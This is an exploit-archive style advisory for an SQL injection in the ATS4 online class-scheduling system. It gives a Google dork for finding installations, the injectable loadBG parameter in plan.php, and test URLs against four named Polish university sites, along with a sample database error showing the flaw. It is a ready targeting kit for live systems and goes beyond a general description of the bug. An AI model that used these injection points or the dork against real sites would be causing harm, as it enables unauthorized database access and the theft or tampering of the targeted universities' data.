###################################################################
# Exploit Title : ATS4 Internetowy System Planowia Zajec SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 19/01/2020
# Vendor Homepage : ats4.pl - awf-gorzow.edu.pl
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dork : inurl:/plan.php?type= site:pl
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
###################################################################
# Impact :
***********
ATS4 Internetowy System Planowia Zajec is prone to an SQL-injection vulnerability because
it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or
modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.
###################################################################
# SQL Injection Exploit :
**********************
/plan.php?type=[ID-NUMBER]&id=[ID-NUMBER]&winW=[ID-NUMBER]&winH=[ID-NUMBER]&loadBG=[SQL Injection]
###################################################################
# Example Vulnerable Sites :
*************************
Akademia Wychowania Fizycznego w Poznaniu Awf-Gorzow Poland SQL Injection
University School of Physical Education in Poznan - Faculty in Gorzow Wielkopolski
Akademia Wychowania Fizycznego im. Eugeniusza Piaseckiego w Poznaniu
Wydzial Zamiejscowy w Gorzowie Wielkopolskim
[+] plan.awf-gorzow.edu.pl/plan.php?type=0&id=26065&winW=1350&winH=641&loadBG=1%27
Politechnika Lubelska
[+] plany.wbia.pollub.pl/plan.php?type=0&id=26065&winW=1350&winH=641&loadBG=1%27
WSM Legnica - Wyższa Szkoła Medyczna w Legnicy
[+] plan.wsmlegnica.pl/plan.php?type=0&id=26065&winW=1350&winH=641&loadBG=1%27
Uniwersytet Śląski
[+] plan.ii.us.edu.pl/plan.php?type=0&id=26065&winW=1350&winH=641&loadBG=1%27
###################################################################
# Example SQL Database Error :
****************************
Query error!!! SELECT iTimeRangeStart, iTimeRangeStop, bTimeRangeActive,
parent FROM group_tree WHERE id_group_tree = You have an error in your
SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near '' at line 3
###################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###################################################################